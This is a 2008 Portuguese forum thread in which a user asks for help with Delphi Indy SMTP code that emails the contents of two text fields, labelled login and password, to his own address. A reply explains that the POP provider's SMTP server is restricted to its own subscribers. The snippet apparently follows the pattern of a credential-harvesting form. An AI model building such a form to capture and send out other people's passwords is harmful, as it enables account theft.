[Dúvida] e-mail SMTP

Iniciado por lostph, 27 de Julho , 2008, 11:32:07 AM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

lostph

Pessoal eh os eguinte... eu jah tentei procura na internet , acho muitos porem não consigo fazer ele funciona retorna sempre um erro.

Vou postar o code que estou usando atualmente e se possivel gostaria que alguem pudesse  me ajuda com esse code ou outro mais simples ou mais completo mais que funcione.

with idSMTP do
  begin
Host:='smtp.pop.com.br';
Port:=857;
Username:='meu_usuario';
Password:='minha_senha';
AuthenticationType := atLogin;
Connect;
  end;

with idMessage do
  begin
  Body.Add('');
  Body.Add('LOGIN: ' + edit1.text);
  Body.Add('SENHA: ' + edit2.text);
  Body.Add('');
From.Address:='MEU_E-MAIL'; // E-mail da autenticação
From.Name:='MEU NOME'; // Nome de quem está enviando (remetente)
Recipients.EMailAddresses:= 'MEU_E-MAIL'; // E-mail que vai receber as informações
Subject :='ASSUNTO';
ContentType:='text/html';
  end;
try
idSMTP.Send(idMessage);
finally
idSMTP.Disconnect;
end;

eh o seguinte...

eu tenho 2 edits e um botão enviar.
eu quero que qnd esse botão for clikado esses 2 edits preenchidos vaum para o meu e-mail ou pode ser algum arkivo txt da internet tb.

abraços.

lostph

pessoal eskeci , com esse code o erro que retorna é:

Socket Error # 10060
Connection time out.

Antharaz

É bem simples:

O servidor de envio de envio de e-mails (SMTP) do POP está restrito ao POP Discador, ou seja, para enviar e-mails pelo seu programa de e-mails é necessário estar conectado a internet pelo POP Discador ou POP Banda Larga.

whit3_sh4rk